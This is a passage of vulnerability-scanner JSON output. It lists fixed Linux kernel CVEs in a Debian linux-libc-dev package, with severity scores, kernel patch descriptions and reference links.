"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89894", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/627a121c15fe05a541f44d86016294b80bada75d%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89894.mbox", "https://git.kernel.org/stable/c/1d1079db8d1807e259a1d2679ed314949797aad9", "https://git.kernel.org/stable/c/54ac6df8b8d97eddc3ae97fd2045bdedc8541b6d", "https://git.kernel.org/stable/c/627a121c15fe05a541f44d86016294b80bada75d", "https://git.kernel.org/stable/c/7087bef6510c7df5df0b19192633b8ecc0f33a6f", "https://git.kernel.org/stable/c/90d50648af36a1fbf5dbc99238de6fd0e58a13e0", "https://git.kernel.org/stable/c/a5dd3d7fba358ff9486f3f51b2a9038348c0970a", "https://git.kernel.org/stable/c/a636c72c7f522d984fa498fc0631f33a2d0be3fd", "https://git.kernel.org/stable/c/aa3314506deb9703bcf0e889db08959440228fbf", "https://linux.oracle.com/cve/CVE-2026-89894.html", "https://linux.oracle.com/errata/ELSA-2026-83207.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89894", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89894" ], "PublishedDate": "2026-09-16T11:16:58.127Z", "LastModifiedDate": "2026-10-19T09:18:34.557Z" }, { "VulnerabilityID": "CVE-2026-89932", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89932", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:314b0524553387c403327efa3ff3c49362fdcb44c07eba137988077fdaba196c", "Title": "kernel: KVM: nVMX: Always flush vpid02 on first use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nVMX: Always flush vpid02 on first use\n\nMake sure vpid02 is always flushed on first use by setting last_vpid=0\nwhen allocating vpid02. nested_vmx_transition_tlb_flush() will always\ndetect a VPID change on first VM-Enter after VMXON, because VPID=0 in\nvmcs12 is not allowed if L1 enables VPID.\n\nThis avoids using stale TLB entries from a previous lifetime of the\nVPID, that might have been associated with a different vCPU (or a\ncompletely different VM).\n\nNote that last_vpid is already being initialized as 0 when the vCPU is\ncreated, but it is not reset when vpid02 is freed on VMXOFF. Hence, the\nproblem can only occur if L1 does VMXOFF -\u003e VMXON, runs an L2, and KVM\nhappens to reuse a VPID that has TLB entries on the physical CPU.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-89932", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/linus/f0772389413dce9657c7d6950abf3edbbd511356%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89932.mbox", "https://git.kernel.org/stable/c/121991d150735f3c0f7401678ce4d35c5b4ac898", "https://git.kernel.org/stable/c/22dfcc22c95e91295119a1c3b469816ce44c4804", "https://git.kernel.org/stable/c/26de0d2d9a8d14c03e5ebb25fd68b5bfcd5ac366", "https://git.kernel.org/stable/c/62604376c313178811375f40a282fc2a46cd2311", "https://git.kernel.org/stable/c/8b98d662ab24f34710a56e03bc9169e4a5508606", "https://git.kernel.org/stable/c/8bc609999ec223089fec8d74c7de27d689606b36", "https://git.kernel.org/stable/c/f0772389413dce9657c7d6950abf3edbbd511356", "https://linux.oracle.com/cve/CVE-2026-89932.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89932", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89932" ], "PublishedDate": "2026-09-16T11:17:02.543Z", "LastModifiedDate": "2026-10-19T09:18:38.93Z" }, { "VulnerabilityID": "CVE-2026-89970", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89970", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9bbee08f12da5d82a77a80f00cce7dca624ff91403e5ff82ed154308311aa56a", "Title": "kernel: nvmet-auth: Synchronize timeout work during SQ teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: Synchronize timeout work during SQ teardown\n\nnvmet_auth_sq_free() cancels auth_expired_work with\ncancel_delayed_work(). If the work has already started, cancellation does\nnot wait for the callback. Transport teardown can consequently free or\nreuse the queue containing struct nvmet_sq while\nnvmet_auth_expired_work() still accesses that SQ.\n\nAdd a teardown-specific helper that synchronously drains the delayed work\nbefore freeing authentication state, and use it from nvmet_sq_destroy().\nKeep the non-synchronous helper for in-band authentication state cleanup,\nwhere the SQ owner remains alive.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-89970", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/linus/eaa948c0e19b1bb2d93262207bca0c3d19cc3406%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89970.mbox", "https://git.kernel.org/stable/c/664022fa1c93f4eba09ef5ee02411b9709dd7a93", "https://git.kernel.org/stable/c/7555ddd60af72df2862dd8f9b730a9848577edda", "https://git.kernel.org/stable/c/c17c87bde6d6f5252a6a6f0a94b2430164aa28d5", "https://git.kernel.org/stable/c/c3c126a6142a1335bc8c34a5607c39cf01daf295", "https://git.kernel.org/stable/c/eaa948c0e19b1bb2d93262207bca0c3d19cc3406", "https://git.kernel.org/stable/c/eb4f9127a2b8a152743f1ee597627e2f69cb54fe", "https://linux.oracle.com/cve/CVE-2026-89970.html", "https://linux.oracle.com/errata/ELSA-2026-81552.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89970", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89970" ], "PublishedDate": "2026-09-16T11:17:07.66Z", "LastModifiedDate": "2026-10-19T09:18:43.587Z" }, { "VulnerabilityID": "CVE-2026-89972", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89972", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e0ba26a347f78d95de0288d1e12e8cabb2f5fee759c1b09b7a27b33615a43b9", "Title": "kernel: nvme: add missing SRCU grace period in error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme: add missing SRCU grace period in error path\n\nnvme_alloc_ns() error path at out_unlink_ns removes ns from the\nnamespace head siblings list with list_del_rcu(\u0026ns-\u003esiblings) but\ndoes not wait for SRCU readers before freeing the namespace struct.\nMultipath code iterates the head-\u003elist under srcu_read_lock() in\nnvme_find_path() and nvme_mpath_revalidate_paths(), so a concurrent\nreader can still hold a reference to ns when kfree(ns) runs.\n\nThe normal removal path in nvme_ns_remove() correctly calls\nsynchronize_srcu(\u0026ns-\u003ehead-\u003esrcu) after list_del_rcu() to wait for\nin-progress readers. Add the same grace period in the error path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-89972", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/ef248d5de4469fb6bbaf8dbe0c4c47800080d648%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89972.mbox", "https://git.kernel.org/stable/c/037e71058e8a59568db72015d4386f54e54dff77", "https://git.kernel.org/stable/c/0d4735418512ef825176726eaaa8bd6a35f6b46d", "https://git.kernel.org/stable/c/3868476cd39161f18720582df17a1b621e805b5d", "https://git.kernel.org/stable/c/76023560d60f10b4f808941163aa2975f1631683", "https://git.kernel.org/stable/c/7f180cef9f3421ece85c43bfdc326ce5875845bb", "https://git.kernel.org/stable/c/d663944dbad81bb0e3635d7090db4713e6300858", "https://git.kernel.org/stable/c/da710ec2a70a85de73afd4f7869b234fd9ede49e", "https://git.kernel.org/stable/c/ef248d5de4469fb6bbaf8dbe0c4c47800080d648", "https://linux.oracle.com/cve/CVE-2026-89972.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89972", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89972" ], "PublishedDate": "2026-09-16T11:17:07.953Z", "LastModifiedDate": "2026-10-30T13:20:37.4Z" }, { "VulnerabilityID": "CVE-2026-90011", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-90011", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6335fdc1cdd1b9dc32ae1e3253dcbf59df47306a5a2645e670920c50cb33a5e4", "Title": "kernel: scsi: target: iscsi: Reserve a terminator byte for the login payload", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Reserve a terminator byte for the login payload\n\niscsi_target_check_login_request() rejects a login PDU whose\nDataSegmentLength exceeds MAX_KEY_VALUE_PAIRS, but the test is '\u003e' and\nlogin-\u003ereq_buf is allocated with exactly MAX_KEY_VALUE_PAIRS\nbytes. Since iscsit_get_login_rx() receives payload_length + padding\nbytes, where\n\n\tpadding = ((-payload_length) \u0026 3);\n\nany payload_length from 8189 to 8192 fills the whole 8192 byte\nbuffer. The write stays in bounds, but no byte is left for a NUL\nterminator.\n\nThe buffer is subsequently consumed as a C string. In the CHAP path\nchap_check_algorithm() calls kstrdup(a_str), and extract_param() calls\nstrstr(in_buf, pattern) followed by strlen_semi(), none of which take a\nlength. convert_null_to_semi() additionally rewrites every embedded NUL\nto ';', so even a payload made of well formed NUL separated key=value\nrecords is left without a terminator. These walk past the end of the\nobject into adjacent slab memory. It is reachable by an unauthenticated\ninitiator against a portal configured for CHAP; when authentication is\nnot required iscsi_login_zero_tsih_s2() rewrites AuthMethod to None and\nthe CHAP path is never entered.\n\nAllocate one extra byte. kzalloc() zeroes it and nothing ever writes to\nit, as every writer copies to offset 0 for at most MAX_KEY_VALUE_PAIRS\nbytes, so the buffer is always terminated.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92209", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-90011", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516657", "https://bugzilla.redhat.com/2535227", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-92209.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/f4825922d2fb371e2b969697d792077f1b62b62c%20%287.3-rc2%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-90011.mbox", "https://git.kernel.org/stable/c/1624bff4c5118ad494d50ad94d44f22064667a7f", "https://git.kernel.org/stable/c/3ddf3ea291a0ef2ea93b82e158960ac2cc42302b", "https://git.kernel.org/stable/c/5fac79f248c37774d1dd761406f83d25ca6ff8e4", "https://git.kernel.org/stable/c/6b589ef9d5f6cdc70d2b4f269ca6cf26b5ebb076", 